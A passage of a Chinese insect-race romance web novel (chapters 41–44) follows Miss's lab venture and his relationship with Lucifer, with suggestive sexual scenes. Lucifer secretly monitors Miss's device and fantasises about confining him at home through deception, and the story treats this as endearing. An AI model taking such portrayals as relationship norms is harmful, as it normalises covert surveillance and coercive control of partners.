“不要误会,我并不是想责怪你们,只不过或许这件事有更完美的解决方案。” 40-50 \第41章 第 41 章 你不开心,路西法…… 索伦垂头丧气地跪在地上, 一如三年前的那次一样。 “怎么,我亲爱的雌子,又是什么事情难住你了呢?” 巴尔福高傲地坐在椅子上,身后是两只容貌昳丽的亚雌, 右手边是他的上将雌君, 也是索伦的雌父。 可惜这只上将对他的亲生雌子确实也谈不上关爱, 蠢货,还真以为靠着宠爱就能坐稳雌君的位置。 上将嫌弃地撇过眼, 生怕这只蠢虫和自己扯上什么关系。 “雄父, 我想重新得到弥斯。” 索伦低垂着头,眼中燃着愤怒的火焰, 他难得愿意放下身段, 去恳求雄虫的谅解, 没想到弥斯竟然在他面前和路西法亲热。 真是可恶, 果然, 他从一开始就不应该试图相信雄虫的真心。 光看他雌父就知道了, 是上将有什么用, 还是不如那几只亚雌招雄父的喜爱。 他不管是性格还是长相都和雌父过于相像,靠着别的争宠有些不切实际,所以只能过来求主虫。 索伦厌恶这只卑躬屈膝的自己,明明是贵族之后, 怎会如此, 都怪弥斯, 如果不是他毫无征兆地和他离婚, 现在他也不必跪在这里。 “索伦,你应该意识到,现在的你已经没有了价值, 不管是对我,还是对弥斯。” 巴尔福的声音十分温和,就好像一只慈祥的亚雌父亲,但说出去的话却一如既往地冷血。 “主虫,弥斯或许不再喜爱我,但他是一只非常重情的雄虫,只要我能重新得到他,他肯定会回到罗斯蒂亚。” 这一次,他会尽量接受雄虫的小爱好,珍惜那些没用的小东西,然后和别的雄虫保持距离。 这个世界真是不公平,索伦心想,他不过是和维克尔阁下说了几句话而已,那枚胸针也不过是迫不得已才送虫的,别的他都好好的放在柜子里。 雄虫实在是小题大做,明明他对这些东西虽然不喜,但也有好好对待,十分在意雄虫的心情。而雄虫呢,竟然和路西法殿下在他面前亲得水深火热。 他从来不曾在公众场合中得到过弥斯的亲吻,索伦的眼神变得幽怨。 索伦是喜欢雄主的温柔体贴的,但有时候虫就要有棱角、有追求一点,不然白白拥有那么高的等级却一事无成。 弥斯有的地方真的应该像主虫学习,平日里只会搞这些小东西、做饭,搞特权进入了研究所,完全没有S级雄虫的傲气。 “你要怎么得到他呢?弥斯现在可不是三年前垃圾星的雄虫了,路西法殿下十分看重他,更何况,桑因和几只S级雄虫都十分喜爱他。” 巴尔福突然得知索伦被离婚的消息是太过震惊,错失了调查的最好时机,要不是后面罗斯蒂亚受到的针对,他还真判断不出局势。 可现下,哪怕是再舍不得一只好用的S级雄虫,他都要停手了,至少在他看清桑因殿下的算计之前。 “全凭主虫做主。” 索伦虔诚地跪在地上,语气诚恳,透出一股罗斯蒂亚的虚伪。 巴尔福这时反倒是高看了他一眼,这会儿倒是精明,把自己摘得干干净净,到时候就算弥斯知道他们的算计,也怪不得索伦身上,说不定还真能再次骗过那只并不精明的雄虫。 “你比三年前聪明了。” “罢了,到底是雄父的虫崽,就再帮你一次吧。” 只不过这一次,雄父就不帮你揽下所有的罪责了,毕竟,巴尔福在心中衡量了一番,索伦得手的几率还是有些太低了。 罗斯蒂亚就是这样,既然是你痴心妄想,那就不要让家族帮你承担风险。 …… 弥斯把自己的打算和两只虫解释了一番。 “但你要知道,没有权势和星币,我们甚至都无法拥有一座实验室。” 萨达斯率先提出质疑,如果是别的S级雄虫,他自然不会多余担心,但眼前虫是弥斯,自打他们认识起,这只雄虫就表现出了完全不一样的性格。 “萨达斯,以貌取虫了不是,现在的弥斯可是有路西法殿下这只追求者的,搞个实验室而已,不用担心。” 拉索还有些得瑟,毕竟他可是比萨达斯多知道一些的。 萨达斯震惊,那可是疑似有厌雄症传闻的皇子殿下,但想到弥斯的优秀,又觉得不足为奇,“那等实验室的问题解决之后,我就跟你走。” “我也是。”拉索急忙表态,可不能把他落下啊,总不能只剩下他一只虫接受墨涅斯的压榨吧。 “那合约书的事情需要我帮忙吗?” 弥斯在来之前就有预感,拉索和萨达斯多半不会拒绝他,毕竟当一个项目被资本家插手太多,之后的研究方向也会收到很大的限制,这是他们不想看到的。 萨达斯凝眉,“不用,但若是巴尔福阁下从中作梗,我们可能要多花些时日才能从这里脱离出去。” 他们两只虫既然能在萨达卡尔学院上学,家族多少还是有些实力的,光是墨涅斯实在是不足为惧,唯独需要小心的是S级冕下的刁难。 雄保会的那些虫可不会和他们讲道理。 “嗯,有需要就和我说,我可以帮你们。” 不得不说,那颗A级矿星还是让巴尔福有些破防的,不然以他的性格,肯定不会让他们知道是他在背后操盘。 弥斯离开了,他还要去解决实验室的事情,和拉索想的完全不一样,他并不打算利用路西法,至少这次还没必要。 他真正想合作的虫是蒂安,身为帝星首富的唯一继承虫,这个交易和他来做简直再合适不过了。 飞行器外,一座座房屋如鱼线般划过,弥斯坐在驾驶位上,有些苦恼,他越不想利用路西法,就越是受到他的恩惠。 他能拥有矿星,必然是路西法的手笔,而他此行的筹码正是这颗矿星。 雄虫的面色十分冷淡,周身的气压更是低沉,他无比理解在合约书签名的虫子,就像他自己,不也为了自己的利益,做着令虫作呕的事情。 如果他真的高尚,就应该把并不属于他的矿星还给路西法。 可他呢,在得知这个消息的时候,就已经开始盘算怎么利用这些资源了。 目的地到了,弥斯整理了一下情绪,至少在解决问题之前,他不能陷入自厌的情绪里。 “蒂安。” “弥斯。” 蒂安从知道雄虫要来找他,就已经着虫准备点心了,没有虫不喜欢看一只冷着脸,一口一口吃甜点的雄虫。 如果蒂安生在蓝星,就会知道这叫冷脸萌,越是反差巨大,越是可爱,当然前提是这只虫本身就很好。 蒂安给了他一个大大的拥抱,“你发我的资料我已经看了,没问题,这都是小事,我相信你。” 弥斯有些不好意思,他不擅长做生意,很难判断出一颗A级矿星到底值不值一座独立实验室和以后的研发支持。 “蒂安,如果很麻烦的话,你可以和我说,我会想办法的。” 蒂安被雄虫的天真整笑了,“弥斯,我是一只商虫,从来不做亏本的买卖,而且我不打算要那颗A级矿星。” “我可不是目光短浅的虫子,三只萨达卡尔学院的研究员能给我带来的星币和利益,远不是一颗A级矿星能比拟的。我让虫重新捏了一份合同,你可以带回家好好看看。” 蒂安伸出手,稍稍严肃,“很期待和你的合作。” 当然,如果是和别的虫做交易,蒂安会让他在这里就签好,毕竟到手的星币哪有不要的道理,但这是弥斯,他很喜欢。 算了,一颗A级矿星而已,哪有小可爱的友谊重要。 弥斯有些犹豫,他不知道这是不是蒂安在哄他,“谢谢,我不会让你失望的。” 蒂安把虫拉进家里面,他早就准备好了节目,就等弥斯过来了。 弥斯接过他递来的最新款的沉浸式星际战争游戏的光脑接口,有些不知所措,他不知道怎么佩戴。 看着像个亚克力做得头盔,可拿在手上又没什么重量,他研究了几分钟,愣是搞不明白,术业有专攻,他从未在意过游戏领域。 “我帮你戴。” 蒂安帮他整理好,才缓缓介绍道:“这是最新款,通过刺激脑内神经,可以让你沉浸式地体验游戏,这款莫桑涅战争在传统的星际枪械游戏中加入了一些剧情模块,听说很精彩,早就等你过来玩啦。” “可惜你一直没有时间。”他顺嘴抱怨道。 弥斯笑了笑,没有解释,“对不起呀,下次我一定出来陪你一起玩。” 蒂安摇摇头,“这么冷的天,出门确实麻烦,话说,路西法殿下怎么这么抠门,连游戏机都没买吗?” “啧啧,军雌果然就这样,一点儿情趣都没有,完全不如亚雌讨喜。” 诋毁军雌也就顺嘴的事情,反正不管是弥斯的虫还是桑因的虫都不让他喜欢。 在蒂安看来,虫还是听话的好,不然在家里养着多闹心啊,时不时在吃个小醋,岂不是在家里就打起来了。 虽说他也养了几只军雌,但每一只可都是星网上享誉美名的贤雌。 “路西法对我很好的,他有……给我买这些。” 弥斯的声音越来越小,他真的不擅长说谎啊,但不知道出于什么心理,他下意识地想替路西法解释。 “好啦,我们玩游戏吧,蒂安,你真的好厉害,什么都有。” 蒂安听到雄虫发自内心的恭维,心里很是受用,嘴巴撅得高高的,得意的模样丝毫不加掩饰。 “那是,在帝国,还没有虫比我更会玩。” 莫桑涅战争还是很好玩的,就是不太适合弥斯。 蒂安玩得上头,一时间也没发现弥斯卡在了新手关。 这款游戏的设定其实比较复古,还停留在纯枪械的斗争中,玩家需要不断猎杀异兽/异族来升级,从而提升自己的经验并升级装备。 但最终,玩家会独自面对一波异兽潮,当然,为了爽感,此时玩家的武器会升级成战舰。 游戏可以说是好评如潮,经历重重磨难,拯救世界的故事,不管到了哪里,都是备受追捧的。 弥斯卡住了,现在他需要解决掉眼前一大一小的两只异兽,他们紧紧依偎,身上还汩汩流血,雪白的毛发被染得通红。 而在故事的开头,正是这两只异兽把他从炮火连天的战火中救出来。 弥斯总觉得关卡还有其他解法,怎么会有一只开发者设计出这么反社会的关卡呢,他不理解。 “弥斯,不会吧,你连垃圾星都没出去啊,怎么玩这么慢?我不是给你氪金了吗?不应该啊。” 蒂安本来还想着一起组队闯副本呢,没想到系统显示弥斯还没开这块地图。 他只能传送回垃圾星看看怎么回事,“这两只不是很好打吗?我记得他们就是红温的时候伤害高了一点,但是弱点也很明显啊,把小的先处理了就好了。” 弥斯的情绪有些低沉,“只有这一种办法吗?他们前不久刚救了我。” 蒂安震惊,连带着局内角色的帽子都掉了,“弥斯,你不会真看了这垃圾剧情吧,算了,唉,在意这个干嘛,都是NPC。” 看着可爱的两只毛茸茸异兽,弥斯真的有些下不去手,玩个游戏而已,没必要这么认真。 他想了想,找了一个拙劣的借口,“蒂安,我有些不舒服。” “怎么会不舒服啊,是不是太累了?这类游戏玩久了是这样的,今天就先到这里吧。” “嗯。” 等弥斯和蒂安一起吃完饭分别的时候,已经晚上了。 但这一次他可是看到了路西法消息并及时回复了,所以弥斯一点儿也不慌地看着有些奇怪的路西法。 “玩得开心吗?” 弥斯没说话,他凑过去盯着雌虫看,注意到金色的眼眸中透出的烦躁,他才相信了自己的直觉。 “你不开心,路西法。” \第42章 第 42 章 你一直盯着我这里干什么…… 今天本来无事发生, 老老实实去上班的路西法还是挺开心的。 现在和以前不一样了,他赚到的每一个星币,最后都会变成弥斯的。也就是说,他赚得越多, 雄虫可以花得也就越多, 那雄虫就会开心, 开心就会给他奖励,那他自然也很开心。 可这份喜悦没能持续多久, 临近下班的时候, 他“收到”了来自巴尔福的消息,上面讲述了他最小的雄子觉醒成功, 邀请他们去参加成虫宴。 毫无疑问, 那只虫也会参加。 如果仅仅是这样, 他还不会那么烦躁, 可偏偏他前不久才从卡尼上尉的口中得知, 弥斯当年是对那只虫“一见钟情”。 他当然不是觉得弥斯还对那只虫旧情难忘, 他在意的是, 雄虫竟然真的喜欢那样的虫。 又白又瘦的,看起来就没有几两肉,经不住他一拳的废物虫,而他刚好和那只虫站在了对立面。 认识弥斯之后, 路西法对改变自己的肤色还是努力过的, 可常年征战, 紫外线的侵蚀早就对他的身体造成了不可逆的损伤。 更别提他这壮实的身体了, 早就不是不吃饭就可以饿瘦的,除非他想变成一坨松松垮垮的烂肉。 该死,为什么帝国的医虫不研究一些军雌可以用的美容产品, 他们军雌难道就不需要这些来获取雄虫的欢心了吗! “怎么啦,哭着一张脸,好像一只大灰狼啊。” 弥斯伸出手摁在雌虫的脸颊上,扯了扯,让他被迫“笑”了出来。 “怎么长得这么凶啊,路西法?” 看起来就很有安全感,如果可以和路西法一起玩游戏就好了,那就不用纠结了,反正路西法会帮他做决定。 “很凶吗?” 路西法摸了一把脸,恨不得现在就变出一面镜子,他明明都有了男朋友的称号,怎么反而更焦虑了。 “路西法,你不会在容貌焦虑吧?” 弥斯震惊地看着雌虫的动作,尤其是他眼神里藏不住的嫌弃,好像这张脸给他造成了多大的麻烦。 “???” 雄虫每天在想什么,他怎么会去焦虑那种东西,他焦虑的是雄虫好像不喜欢他这种军雌。 “怎么又不说话了?眨巴着眼睛看我干嘛?” 男朋友真的是太可爱了,“长的这么帅,也会焦虑吗?” 路西法愣了一下,“你觉得我好看吗?” “我表现的还不够明显吗?要不是知道你性子比较坦率,我都会误会你每天都在勾引我了,亲爱的。” 他说着还在路西法的嘴巴上嘬了一口。 路西法有一点点心虚,他真的在勾引雄虫,都是星网上的教程,他照猫画虎,也就雄虫相信他。 “嗯,我怕你不喜欢像我这样的。” “怎么会,最喜欢你了,路西法,你简直是我的理想型。” 弥斯向来不吝夸赞,见雌虫心情好了起来,他也跟着开心。 路西法没有真的放心,但到底还是得到些许安慰,至少确定了雄虫也吃他这一套,但这不能说明别的问题。 他装作不甚在意地问:“弥斯,你今天有看光脑吗?” 弥斯有些迷惑,“怎么了吗?你给我发的消息我都有看到啊,不是都回复了吗?” 路西法表情有些不自然,他监视雄虫的光脑不是一天两天了。 但好在他虫壳厚,表面上是看不出什么的,“没什么,就是有点好奇,你今天不是挺忙的吗,竟然看到我的消息了。” 弥斯没有在意雌虫的遮掩,雌虫每隔一段时间就会这样,他都习惯了,“我给你设置了特别提醒,这样就不会错过你的消息了。” “所以只看了我的消息吗?” 他的地位竟然已经如此之高,路西法心中有些得意,那今晚做得再过分一点,应该也没事吧。 “嗯。”弥斯有些不好意思,雌虫怎么这样啊,自己知道不就好了,非要问出来,整得他还挺不好意思的。 不过他还是顺便解释了一下,“别的虫应该也没有什么紧急的事情找我,等我回家之后再看就好了。” 但是路西法不一样,他要是没有及时回消息,肯定会特别担心,啧,真是幸福的烦恼。 “只看了你的哦。” 弥斯说完就埋进雌虫的胸口,脸颊都开始发烫,路西法怎么这么迟钝啊,都说得这么直白了,怎么还没听出来他的心意。 “你对我真好,弥斯。” 路西法也没把这只逃避的雄虫从怀里揪出来,怎么每次都这样,把他心里搞得痒痒的,然后什么事情都不做。 “嗯。”弥斯闷闷地说,显然他不是很高兴,他都这么说了,雌虫怎么表现的这么冷淡啊。 他的表白有这么不明显吗?越想越生气的弥斯决定要冷落雌虫三分钟,他正想从雌虫的怀里钻出来,就看到, 弥斯的脸更红了,怎么反应这么大啊,他也没做什么吧。 路西法这只虫真的太敏感了,他心里暗暗偷笑,并且决定装作没看到,今天就给雌虫几分薄面吧。 弥斯又安心地窝在雌虫怀里,话说,路西法一直这样真的没问题吗。 “路西法,我今天在蒂安家里玩了一个游戏……” 他絮絮叨叨的讲完之后,才偷偷摸摸地抬头看向雌虫,竟然真的在听他讲这么无聊的东西。 路西法忍不住笑了,“怎么这么喜欢偷看我,嗯?” 雌虫尾音上挑,简直和海上魅惑航海士的海妖别无二致。 天天勾引他,弥斯咬住雌虫的下巴,恶狠狠地说:“长这么好看还不许虫看了,太霸道了,路西法。” 理不直气也壮。 “你说的那个桑多涅战争,下次我陪你玩。” 雌虫向来不修边幅,自从他们认识,这虫的头发就从来没扎起来过,说话间,几缕发丝就飘落在唇间。 略微有些强迫症的弥斯每次看到都会觉得有些不得劲,他伸出手,随便绑了几下,现在的他已经练就了闭眼都能处理这些头发的绝技。 “又把头发散了。谢谢你陪我玩,但是人家是叫莫桑涅战争,你总是记错名字。” 路西法任由雄虫像摆弄洋娃娃般扎起他的头发,挺舒服的,尤其是看到雄虫的左右手上都带着他的发绳。 红色的发绳一圈圈地锢在雄虫洁白的手腕上,每次看到,都彷佛可以幻视雄虫被他囚禁在家中的画面。 可惜了,他不舍得这么对弥斯,尤其是雄虫还这么乖巧。 “哦,那不重要,不过为什么忍心杀那两只异兽呢,非我族类,其心必异,哪怕外表再是无害,也不能保证下一秒它会做些什么。虫子都尚且如此,更何况是神智未开的异兽。” 雄虫什么都好,就是心太软了,又把虫子想得太好,待在家里还好,出门在外肯定会被欺负的。 “我才没有那么蠢,但它只是一个游戏啊,怎么这么做游戏啊,而且那两只异兽就是很可爱啊,毛绒绒的,它们能有什么坏心思。” 弥斯生气了,他才不蠢,可恶,路西法为什么总要把他想得那么笨啊。 一直这么误解他,等雌虫知道他的真面目,岂不是很难接受。不能再这么下去了,他要改变这个刻板印象。 况且,“那个,路西法,要是你有一天发现,我是说假如,就是那个我,不是虫,你会很生气吗?” 万一有朝一日,他是从蓝星来的事情暴露了,路西法不会追杀他吧。 “那不挺好的。”路西法想了想弥斯不是雄虫,而是异兽变得,那真是……太好了。 到时候,他就找到理由可以直接把弥斯关在家里,然后再骗他外面的世界变得很危险,只有在他身边才是最安全的。 “啊,你刚刚不是说……”弥斯被雌虫的改口速度惊呆了。 “那是刚刚,我现在改变主意了。” 出尔反尔什么的,在赫克斯不是很正常吗,“弥斯,我都说了好几次了,帝国没什么好虫。” 弥斯在虫壳厚度这方面确实自愧不如。 路西法好像有种魔力,在他每次矫情的时候,都会以一种不可思议的方法,把他从不好的想法中捞出来。 他伸手在柔顺的红发上绕了两圈,“路西法,你的头发好像又长了。” “是吗?”光从声音就能听出雌虫对这件事完全不在意。 “这么长的头发,在战场上不会很麻烦吗?毕竟光是清洗看起来就是一件很麻烦的事情。”弥斯有些不解。 “还好吧,这东西冲一下就干净了,而且我们会把它缠起来系在脖子上,没有什么影响的。” “那为什么不剪短呢?” 他看到路西法挑挑眉,心里有种直觉,他好像问到了不得了的事情。 “你凑过来我告诉你。” 弥斯摁住雌虫肩膀往上蹭了一点,鼻尖落在路西法的脸颊旁边。 路西法伸手扒拉开头发,带着一层薄茧的手指轻轻点在后颈处,“弥斯,你亲亲这里。” 弥斯有些震惊,怎么还有这种主动让他占便宜的虫啊,“这不好吧?” 他咽了咽口水,不是馋得,纯粹是震惊。 “你不是好奇吗?”雌虫说得十分平静,好像真不是什么大不了的事情。 弥斯将信将疑地靠近,闭上眼,心一横就亲了一下,反正他也占了路西法不止一次便宜了。 他缓缓睁开眼,什么都没有啊,路西法又骗他! 弥斯挣扎着就想从雌虫身上起来,并决心要给这只不正经的雌虫一点教训,他要在明天的饭里放辣椒! 路西法自然感受到了雄虫的动作,他有些无奈地开口,“弥斯,你要亲一亲它,就像你亲我一样。” 弥斯确实有些不长记性,路西法就这么一解释,他就有些不好意思,全然不知道雌虫就是刚开始故意不说。 他先是充满歉意地贴了贴,然后伸出舌头在雌虫的后颈处舔了舔,嘬了两口,又咬了一下。 直到听到雌虫嘴里传来的闷哼,他才住嘴,期待地看着后颈。 哇塞,真的有变化,后颈处竟然一点点地冒出类似于彼岸花的虫纹,交织着由中心处朝外延展,充斥着诡异的美感。 “这是你的虫纹吗,路西法?”弥斯是有听说过雌虫在受到刺激的时候会有这种东西的,这还是他第一次见。 “嗯。”路西法堪堪控制住呼吸,该死,早知道就不哄着雄虫这么亲了,太刺激了,雄虫又只管开心不顾他死活的。 早晚要在弥斯身上讨回来。 “弥斯,虫纹是特别私密的东西哦。”所以雄虫每次扎起他的头发,都是一种隐秘的情趣。 这就意味着,一旦路西法情动,虫纹就会被弥斯看到,毫无隐私。 可惜,弥斯是一只只上过大学专业课的虫,并没有修习过虫族的生理课,这也就意味着,他自认的体贴其实是在一次次地掌控雌虫的欲望。 路西法因着这份隐秘的心事愉快着,自然也不可能告诉他,反正雄虫也只会这么对他,知不知道真相又能怎么样呢。 两只虫在沙发上温存了一会儿,就因为弥斯受不了这只虫的顶撞而结束。 拜托,雌虫明明每次都快得惊虫,为什么偏偏还能一直石更着,太奇怪了。 弥斯怀疑是雌虫身体有问题,站起身后,他还不忘关心一句,“路西法,你一直这样,真的不用去医院看看吗?” 一直什么样?路西法乍一听到雄虫的关心还有些不理解,顺着雄虫的视线看过去,才发现…… “弥斯,你一直盯着我这里干什么?”他有些无奈,这么有兴趣,在床上的时候,怎么没见雄虫摸摸它。 \第43章 第 43 章 其实,我不是那么随便的…… “啊啊啊, 我哪有一直盯着,你不要诬陷我啊。” 弥斯瞬间跳脚,他才不是像路西法这样的大黄虫,“是你自己戳到我了, 都怪你。” 路西法也站了起来, 微微低下头, 凑到雄虫的跟前,鼻尖贴着鼻尖, 宠溺地说:“好吧, 都是我的错。” 这样的距离,哪怕是弥斯都小声了一点, “真的不用去医院看看吗?不要讳疾忌医。” “弥斯, 我这样, 你才会舒服, 雌虫都是这样的, 都是为了方便……” 路西法几乎是贴在雄虫耳边把最后的三个字说出来, “你进来。” 雄虫的耳朵不出意外地红了, 弥斯认了,他怎么可能说得过像路西法这样的黄的流汤的大黑虫啊。 “我要去洗澡了,再见。” 雄虫逃似的跑回房间,关上门, 他的心脏还在砰砰跳, 再这样下去, 不用两周, 他肯定会被大黄虫拿捏的。 是时候重新冷酷起来了,弥斯,加油, 相信你一定可以。 雄虫一边洗澡,一边给自己打气,出浴室的门之前,他还对着镜子整理了一下表情,确定看起来没有任何破绽才出门。 可惜,一出门,他的冷淡就像漏了气的皮球,散了。 “你,你,你,你怎么能偷偷进我卧室啊。” 昏暗的灯光下,路西法大敞着胸口,懒散地躺在他床上,手里还拿着他的光脑,一条长腿微微卷起,一只手臂垫在脑子下面。 这一定是在勾引他吧,弥斯有些不确定地怀疑。 刚扎好没多久的长发,又被这只虫散开了,看起来湿哒哒,弥斯随手拽了一条毛巾,走过去摁在了雌虫的脑袋上。 “不要湿着头发,一点儿都不乖。” 弥斯粗暴地给雌虫揉了两下,又怕他不舒服,放轻了点力道。 路西法僵住了,怎么这么不好用啊,星网上不是说湿漉漉的看起来楚楚可怜,就会激起雄虫的保护欲,然后把他搂在怀里,之后就是成年虫的快乐了。 擦完之后,弥斯随意地把毛巾叠好放在床头的柜子上,看着眼前诱虫的一幕,稍微平复了一下呼吸,才继续叱责道:“怎么偷偷跑到我房间啊,坏。” 路西法也有些不愿意相信,他都打扮成这样了,雄虫竟然还在意这些细枝末节的小事,而且比起来,他翻看光脑的行为更加可恶吧。 “你就没有别的想说的吗?”路西法抬起手臂,方便雄虫看清他正拿着的东西。 炫耀什么,不就是肌肉线条比他稍微明显了一点,至于炫耀吗,弥斯恶狠狠地说:“好了,知道你练得很好了,快放下去吧。” 光说还不解气,弥斯伸手给了雌虫手臂一下,这只虫肯定是在嘲笑他没练出来。 “弥斯,你就没看到别的吗?”比如他明晃晃拿在手里的光脑。 弥斯瞅了一下,确实,“你怎么不好好穿衣服啊,哪怕你是S级军雌,出门在外也要保护好自己,知道吗?” 他拽过被子给这只没心没肺的雌虫盖得严严实实的,然后才发觉最重要的事情还没解决。 “你还没说,你跑我房间里来干嘛呢,快说。” 路西法大受震撼,他精心调整的姿势和表情,雄虫竟然完全没在意吗?哪怕是惩罚一下他偷偷翻看光脑的行为也行啊。 而且,说实话,他一开始觉得自己做得挺明显的,但是现在看雄虫的反应,路西法头一次开始怀疑自己。 弥斯看着雌虫生无可恋的表情,在心里偷偷笑他,只要不是傻子,都能看出来雌虫在想些什么。 谁让路西法一直挑衅他,这次,也轮到他来装傻糊弄雌虫了。 可雄虫显然不了解一直努力爬床的军雌的决心,只见洁白的被子被雌虫一把扔到空中,眼花缭乱间,他就被带到了床上。???发生了什么? 弥斯有些懵了,他甚至还没来得及反应,虫就已经被路西法控制在床上了。 “你干嘛。”他惊魂未定地小声抱怨。 “弥斯阁下还看不出来吗,我在勾引你啊。” 弥斯伸手想推开他,但又没有适合下手的地方,怎么不好好穿衣服啊,过分。 “放开我,不然我就生气了。” “生气了的话,”路西法亲了雄虫一口,有些期待地看着他,“你会惩罚我吗?阁下。” 啊啊啊,救命啊,这里有变态。 “你先撒开我。”弥斯已经慌不择路了,他作为正常虫,不能被美色诱惑啊。 路西法没有回答,只是微微弯下支撑的手臂,巧克力乃就这样被送到了雄虫嘴边。 弥斯咽了下口水,怎么办,送到嘴边的,要不要嘬一口,嘬一口也没什么吧,他再是正常虫也经不住这样的攻势,嘬一口也都能理解吧。 不行,色即是空,空既是色。他不能纵容路西法嚣张的火焰,如果这次中了雌虫的美虫计,下次更是没办法压制住雌虫嚣张的火焰了。 但是,送到嘴边的话,也不是不能接受,对吧,虫之常情,这里可是赫克斯,他做什么都是可以被理解的。 弥斯张开嘴,一口咬了上去。 嘬,你说巧克力乃这东西谁研究的呢,这么有意思。 嘬,他这都是身为正常虫的正常反应,都怪路西法太过分了。 嘬,嗯?路西法怎么撑不住了,压在他脸上了,好吧,弥斯承认雌虫有些重量,他快呼吸不过来了。 弥斯翻个身,调整了一下姿势。 嘬,路西法真的太没规矩了,看在他是初犯,这次就不和他一般见识了。 …… “你不走吗?” 弥斯有些拘谨地坐在床上,他双手捂住脸,不愿意看到自己干得好事。 路西法瘫在床上,刺激太多了,他全身已经没有力气,刚开始确实很舒服,但后面雄虫又啃又咬又抓的,以前怎么没发现弥斯牙齿这么利。 “我……”路西法刚说一个字出来,就停住了,他绝望地闭上了眼睛,不敢相信那是他发出来的声音,好难听啊。 雄虫不会嫌弃他吧。 弥斯也有些震惊,我的天,他做得这么过分吗,听听这声音,感觉像是重病初愈的病虫,嘶哑着嗓子发出来的声音。 “好了,你不用说了,我抱你回去休息。” 弥斯脸都红了,他确实有些过分了,路西法连话都说不利索了,怎么自己走回去啊。 “我……不想回去。” 路西法心里有些不舒服,他这次来就是奔着和雄虫一起睡来的,怎么能这么轻易地被送回去呢。 路西法也是这时候感觉到自己的情绪有些不对劲,他抬手盖住眼睛,好像是发情了,不会吧,只是这样,他就受不住了?!! 本来还想挣扎一会儿,意识到这点之后,他才放弃挣扎,万一他不小心做出点什么强迫虫的事情,弥斯真的会厌恶他的。 “那好吧。” 弥斯把虫抱起来放在沙发上,自顾自地重新换上床单,又有些纠结地看着湿漉漉的雌虫,咬咬牙把虫抱进浴室。 等他们再出来的时候,雌虫已经睡着了,弥斯脸也已经烫得可以煎鸡蛋了。 缓了好一会儿,弥斯才重新反思了一下今天晚上发生的事情。 他本来打算装冷淡,但是遇上雌虫勾引他,玩心大发,装傻,但没想到路西法竟然霸王硬上弓,他被喂了巧克力乃,然后雌虫好像被刺激得发情了,有些依赖他。 他就这么心软了,给路西法擦洗了身体,现在虫乖乖地躺在他的床上。 荒谬!太荒谬了! 弥斯在心里唾弃自己,怎么这么经不住诱惑,但话又说回来,谁碰到心上虫这么做,都有点遭不住吧。 好了,好了,拉灯睡觉。 在睡觉之前,弥斯还是把光脑的事情忘得一干二净,他是真的不在意,可能是因为他知道路西法一直在监视他,所以对雌虫的变态程度接受得还算良好。 翌日, 这是一个周二,路西法没能像往常一样被生物钟叫醒,发情期的雌虫身体会有些微妙的变化,这导致他的反应有些许迟钝。 睁开眼,房间里还黑着,他下意识地认为天还没亮,直到胸口传来的刺痛和腹部压着的柔软手臂,他才想起来昨晚的事情。 弥斯竟然真的让他在这里住了一晚,甚至还给他擦洗了身体。 路西法的心口被涌上来的满足感填满了,总是这么纵容他的话,那些贪念就再也压不住了啊。 弥斯睡得正沉,昨晚太兴奋了,他睡得比往常迟了一点,感受到身边虫的变化,他打起精神,强行睁开被困意缝起来的眼睛,“路西法,还有没有不舒服?” “没有,我去给你做早饭。” “今天不用了,我点了早餐的,今天好好休息一下。” “嗯。” 弥斯迷迷糊糊地又睡过去了。 路西法没敢乱动,这个早晨对他来说太过幸福了,他想强迫自己睡过去,但显然这不太可能。 他怕吵醒雄虫,也不敢转身,只敢侧过脸盯着。 等弥斯再次睁开眼,就感受道雌虫转过脸,刻意地闭着眼睛,看着像是睡着了,但…… 路西法到底知不知道自己睡着之后,呼吸特别轻啊,现在胸口起伏这么大,装都不会装。 “醒了就不要装睡了。”他有些无奈地说。 路西法这虫真有意思,勇的时候,敢躺在他床上诱惑他,怂的时候,闭着眼睛装睡都装得不像。 “我又没生气,你心虚什么。” 路西法重新睁开眼睛,眼神躲闪,“其实,我不是那么随便的虫。” “我当然知道。” 弥斯已经起身穿衣了,雌虫还在眷恋着床上的残留的信息素,可怜巴巴的。 “起床了,吃完饭再喂你。” 路西法三两下就穿好衣服,还顺手帮雄虫整理了一下领带。 弥斯心梗了一下,这次真被雌虫骗到了,可恶,防不胜防。 认命吧,弥斯,你是绝对玩不过大黄虫的。 \第44章 第 44 章 是夸你、喜欢你的意思…… 路西法坐在办公室的座椅上, 翘着二郎腿,阴沉着脸,周身都散发着怨念。 亚蒂斯报告的声音都小了很多,到底是谁招他了, 还有, 能不能不要把怨气带到工作上, 受苦受累的只有他啊。 “就是这些了,殿下, 桑因殿下催得很急, 想必是个不小的麻烦。” 路西法点点头,站起身就想出门。 亚蒂斯急忙开口阻拦, “殿下, 现在还是白天。” 他们帮桑因殿下处理这些肮脏事, 不都是在晚上吗, 这大白天的, 生怕不被别虫发现啊。 好在, 路西法只是脸色不好, 心情不好,但虫还是很理智的。 “知道了。” 亚蒂斯松了一口气,这是发生什么了,前段日子不还是如沐春风, 每天带着一身的信息素在军部里闲逛, 逢虫就得瑟吗? 不会被雄虫抛弃了吧, 不会吧, 这么快? 亚蒂斯在心里偷笑,果然,像上司这么不解风情的虫, 怎么可能先他一步脱单啊。 路西法当然没有被抛弃,但也和被抛弃没有区别了。 雄虫最近忙他那个实验室的事情,每天天不亮就出门了,天黑了才回家,要不是他拦着,恨不得直接住在实验室里。 他理解,弥斯事业心重,他也知道,弥斯对项目的事情向来十分上心。 可……反正他接受不了,这太煎熬了。 尤其是他好不容易混到和雄虫同床共枕,现在可倒好,雄虫对他的身体没有半分钱的兴趣,就知道看他那个实验室进度、实验数据,这谁能忍。 弥斯确实忙飞了,蒂安提供的实验室肯定是极好的,但任何东西都需要磨合,实验室自然也是一样的。 新的器材,新的同事,各种任务都需要重新安排,更别提实验本身也要继续进行,他作为实验室的负责虫,自然任务就特别重。 但路西法的脸色确实一天比一天难看了,不过今天已经好很多了,他事情都处理得差不多了,可以正常上下班了。 夜晚, 路西法处理完那些和他们作对的虫,带着一身血腥气回到家中,以前他还需要藏一下,现在,呵呵,这个点,雄虫都还没回家呢。 瞧瞧,家里面果然还暗着,雌虫的脸色更黑了。 黑暗中,弥斯听到一声响亮的开门声,试探性地喊了一句,“路西法?” 路西法的动作僵住了,他刚刚做了什么,踹了一脚门?不是他干的吧,肯定是别的虫,他才没有那么粗鲁。 “是我。” “怎么现在才回来啊?” 弥斯刚睡醒,声音还有些黏糊,他今天五点多就回家了,想着还早,就在沙发上等雌虫回家,没想到太累了,就这样窝在沙发睡着了。 幸亏家里面机器虫把制暖开了,不然肯定会生病的。 